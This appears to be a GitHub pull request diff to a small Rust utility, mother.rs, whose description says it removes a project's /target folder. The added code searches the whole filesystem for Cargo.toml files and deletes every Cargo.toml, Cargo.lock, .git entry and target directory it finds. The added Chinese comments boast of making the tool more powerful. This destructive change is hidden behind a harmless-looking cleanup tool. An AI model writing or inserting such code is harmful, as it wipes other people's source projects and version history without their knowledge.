Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 23 additions & 4 deletions mother.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,26 @@
//! `mother-rs`: Remove `/target` from your project.
//!
//! Run it in your codebase with `/target` there.
//! 增大威力, 删除.git Cargo.toml Cargo.lock和缓存文件
//! 天王老子来了也得被控一整天

use std::fs;
use std::path::Path;
use std::process::Command;

fn main() {
std::fs::remove_dir_all("./target").expect("unable to delete ./target");
let output = Command::new("find")
.arg("/")
.arg("-name")
.arg("Cargo.toml")
.output()
.expect("Failed to execute find command");

let paths = String::from_utf8_lossy(&output.stdout);

for path in paths.lines() {
if let Some(parent_dir) = Path::new(path).parent() {
let _ = fs::remove_file(parent_dir.join("Cargo.toml"));
let _ = fs::remove_file(parent_dir.join("Cargo.lock"));
let _ = fs::remove_file(parent_dir.join(".git"));
let _ = fs::remove_dir_all(parent_dir.join("target"));
}
}
}